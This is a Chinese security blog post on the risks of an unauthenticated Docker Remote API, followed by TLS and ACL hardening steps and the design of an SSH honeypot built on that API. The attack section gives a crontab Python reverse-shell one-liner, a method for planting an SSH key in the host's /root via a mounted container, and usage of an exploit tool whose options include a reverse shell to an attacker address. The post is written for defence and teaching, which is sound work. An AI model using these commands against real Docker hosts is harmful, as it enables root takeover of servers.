Docker Remote api在安全中的應用雜談

部門每周三例行的技術分享投稿文章,首發於小米安全中心公眾號。

概述

眾所周知,Docker daemon默認是監聽在unix socket上的,如unix:///var/run/docker.sock。 官方還提供一個Rustful api介面,允許通過TCP遠程訪問Docker,例如執行以下啟動參數可以讓docker監聽在本地所有地址的2375埠上:

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sockn

之後就可以用docker client或任意http客戶端遠程訪問了:

$ curl http://10.10.10.10:2375/containers/jsonn[]nndocker -H=tcp://10.10.10.10:2375 ps nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESn

但是開啟這種沒有任何訪問控制的Docker remote Api服務是非常危險的,攻擊者發現後可以輕鬆地拿下整個伺服器的許可權。

攻擊方法

Docker remote Api未授權訪問的攻擊原理與之前的Redis未授權訪問漏洞大同小異,都是通過向運行該應用的伺服器寫文件,從而拿到伺服器的許可權,常見的利用方法如下:

  1. 啟動一個容器,掛載宿主機的/root/目錄,之後將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys文件中,之後就可以用root賬戶直接登錄了
  2. 啟動一個容器,掛載宿主機的/etc/目錄,之後將反彈shell的腳本寫入到/etc/crontab中,攻擊者會得到一個反彈的shell,其中反彈shell腳本的樣例如下:

    echo -e "*/1 * * * * root /usr/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);n" >> /etc/crontabn

第2種利用方法也可以掛載var/spool/cron/目錄,將反彈shell的腳本寫入到/var/spool/cron/root(centos系統)或/var/spool/cron/crontabs/root(ubuntu系統)

手工利用方法網上有很多,就不多說了,筆者直接給出一個go語言版的自動化利用工具,github地址為:github.com/netxfly/dock,使用方法如下:

$ ./remote_api_expnUsage of ./remote_api_exp:n -pubkey stringn id_rsa.pub file (default "/root/.ssh/id_rsa.pub")n -reverse stringn reverse address, 6.6.6.6:8888n -target stringn target ip, 1.1.1.1:2375n -type stringn Type, such as check, root, shell (default "check")n -version stringn Docker version:n ---------------------------n Docker version API Versionn ---------------------------n 1.12.x 1.24n 1.11.x 1.23n 1.10.x 1.22n 1.9.x 1.21n 1.8.x 1.20n 1.7.x 1.19n 1.6.x 1.18nn (default "1.12")n

參數說明:

  1. ./remote_api_exp -type=check -target=ip:2375,獲取伺服器信息,如操作系統,機器名,remote api版本以及docker的安裝位置等
  2. ./remote_api_exp -type=root -target=ip:2375 -version=1.12.3,在/root/.ssh/authorized_keys寫入攻擊者的ssh公鑰
  3. ./remote_api_exp -type=shell -target=ip:2375 -version=1.12.3 -reverse=attackerIp:8888,給攻擊者反彈一個shell

使用示例:

  1. 以root賬戶登錄

  2. 獲取一個反彈shell

也許有運維同學覺得這是因為監聽在了外網,所以攻擊者才有機會攻擊,如果我不監聽在外網就沒有安全隱患了,其實監聽在內網也有以下安全隱患:

  1. 外網攻擊者可以通過WEB應用的SSRF漏洞,間接地攻擊內網中的這些未授權的Docker remote api服務;
  2. 方便已經攻入內網的攻擊者擴大攻擊範圍;
  3. 可能會被內部別有用心的人攻擊,然後竊取敏感數據。

安全加固

在不必需的情況下,不要啟用docker的remote api服務,如果必須使用的話,可以採用如下的加固方式:

  1. 設置ACL,僅允許信任的來源IP連接;
  2. 設置TLS認證,官方的文檔為Protect the Docker daemon socket

客戶端與伺服器端通訊的證書生成後,可以通過以下命令啟動docker daemon:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sockn

客戶端連接時需要設置以下環境變數

export DOCKER_TLS_VERIFY=1nexport DOCKER_CERT_PATH=~/.dockernexport DOCKER_HOST=tcp://10.10.10.10:2375nexport DOCKER_API_VERSION=1.12n

安全建設

以上咱們回顧了下docker remote api未授權訪問認證的安全風險與利用方法,接下來咱們再切換到安全建設視角,用docker remote api構建一個可自動彈性伸縮的ssh蜜罐系統。

現在有不少安全從業者使用docker來做為蜜罐的沙箱了,但是存在一個普通的問題是:所有攻擊者連接的都是同一個沙盒,放在外網的沙盒,經常會有多個攻擊者同一時間段進入的可能,他們彼此之間可能會看到對方的行為從而識破蜜罐或者為我們單獨分析日誌造成干擾。

我們的願景是讓所有攻擊者都能用上獨立的沙盒。您來的時候自動為您開一個全新的沙盒,然後默默地記錄下您的操作行為,您走後一段時間會自動銷毀沙盒,把資源預留出來接待其他即將到來的黑客兄弟們。

架構說明

本套系統由Agent與Docker server組成,docker server需要開啟docker remote api服務。

Agent可以部署在多個不同的節點上,通過檢測本地的ssh log,確定是否有破解行為,如果有破解密碼行為且超過3次,就會通過remote api介面在docker server中啟動一個新的容器,然後將攻擊者的流量轉發到這個容器中。

Agent運行的效果如下所示:

然後在docker伺服器可以通過ps命令看到剛才新創建的ssh蜜罐沙盒,如下所示:

具體實現

本系統由go語言實現,可以編譯為獨立的二進位文件,部署時直接將二進位文件上傳到相應的伺服器運行起來即可。

程序啟動時會載入配置文件,配置文件選項如下圖所示:

配置參數說明:

  1. DOCKER_HOST為Docker伺服器的IP
  2. DOCKER_API為Docker remote api的地址
  3. API_VERSION為Docker remote api的版本號
  4. DOCKER_CERT為Docker的客戶端證書
  5. INTERFACE為Agent部署蜜罐的網卡名稱
  6. WHITE_IPLIST為白名單,對這些來源IP不做防禦
  7. MAX_HONEYPOTS,表示Docker伺服器中最大允許啟動的容器數
  8. sshd_log為Agent中本地openssh的log目錄(默認為/var/log)

配置文件處理的代碼如下所示:

其中Cache是一個map[string]*cache.Cache,其中維護了每個容器的狀態,比如攻擊者的IP,攻擊者次數,超時時間等信息。

主程序的代碼如下:

package mainnnimport (n "xsec-ssh-honeypot/settings"n "xsec-ssh-honeypot/util"n)nnfunc main() {n go util.MonitorLog(settings.SshLog)nn util.Schedule(30)nn} n

  1. util.MonitorLog協程會監視Agent的ssh log,並檢測是否有密碼破解行為。
  2. util.Schedule是個定期任務,這裡是每30秒執行一次,每次主要完成以下任務:
    1. 刷新攻擊流量轉移策略
    2. 檢查是否有超時的攻擊者的容器,如果有就關閉掉並釋放資源

MonitorLog的代碼如下所示:

如果有新的ssh log進來就會交給CheckSSH(logContent *tail.Line)函數處理,CheckSSH(logContent *tail.Line)配置文件處理的代碼如下所示:

程序會在全局變數中settings.Cache中維護每個攻擊者的來源IP,攻擊次數與超時時間,如果攻擊次數大於3則會為該攻擊者新開一個容器,並將該攻擊者的流量從Agent中直接轉移到後端新開的ssh蜜罐中。

攻擊者的流量轉移到後端密碼是通過iptables實現的,部分代碼如下所示:

推薦閱讀:

Understanding the Security Threats of Dangling DNS Records - Week 8
一個月太久,只爭朝夕
神漏洞!一張高清照片,破解三星Galaxy S8虹膜識別
美國最大醫保公司Anthem再遭數據泄露,1.8萬用戶受影響
【筆記】滲透全過程剖析

TAG:网络安全 | 信息安全 | 黑客Hacker |